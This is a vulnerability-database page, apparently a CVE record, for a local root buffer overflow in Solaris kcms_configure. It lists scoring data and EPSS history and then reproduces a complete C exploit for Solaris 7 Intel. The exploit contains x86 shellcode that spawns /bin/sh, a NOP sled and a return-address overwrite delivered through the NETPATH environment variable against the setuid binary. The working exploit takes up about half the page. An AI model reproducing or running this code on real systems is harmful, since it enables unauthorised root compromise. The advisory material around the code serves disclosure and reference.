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CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in Solaris kcms_configure via a long NETPATH environmental variable.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
7.2
AV:L/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.41%
2025-03-30
–
–
–
–
0.41%
2025-04-06
–
–
–
–
0.41%
2025-04-15
–
–
–
–
0.41%
2025-04-15
–
–
–
–
0.41,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/831/info
The binary kcms_configure, part of the Kodak Color Management System package shipped with OpenWindows (and ultimately, Solaris) is vulnerable to a local buffer overflow. The buffer which the contents of the environment variable NETPATH are copied into has a predetermined length, which if exceeded can corrupt the stack and cause aribtrary code hidden inside of the oversized buffer to be executed. kcms_configure is installed setuid root and exploitation will result in a local root compromise.
*/
------ ex_kcms_configure86.c
/*=============================================================================
kcms_configure Exploit for Solaris7 Intel Edition
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#define ENV "NETPATH="
#define MAXBUF 3000
#define RETADR 2088
#define RETOFS 0xad0
#define FAKEADR 2076
#define NOP 0x90
unsigned long get_sp(void)
{
__asm__(" movl %esp,%eax ");
}
char exploit_code[] =
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0"
"\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff"
"\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33"
"\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88"
"\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f"
"\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46"
"\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01"
"\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/sh";
main()
{
char buf[MAXBUF];
unsigned int i,ip,sp;
putenv("LANG=");
sp=get_sp();
printf("ESP=0x%x\n",sp);
memset(buf,NOP,MAXBUF);
ip=sp;
buf[FAKEADR ]=ip&0xff;
buf[FAKEADR+1]=(ip>>8)&0xff;
buf[FAKEADR+2]=(ip>>16)&0xff;
buf[FAKEADR+3]=(ip>>24)&0xff;
ip=sp-RETOFS;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
strncpy(buf+2500,exploit_code,strlen(exploit_code));
strncpy(buf,ENV,strlen(ENV));
buf[MAXBUF-1]=0;
putenv(buf);
execl("/usr/openwin/bin/kcms_configure","kcms_configure","1",0);
}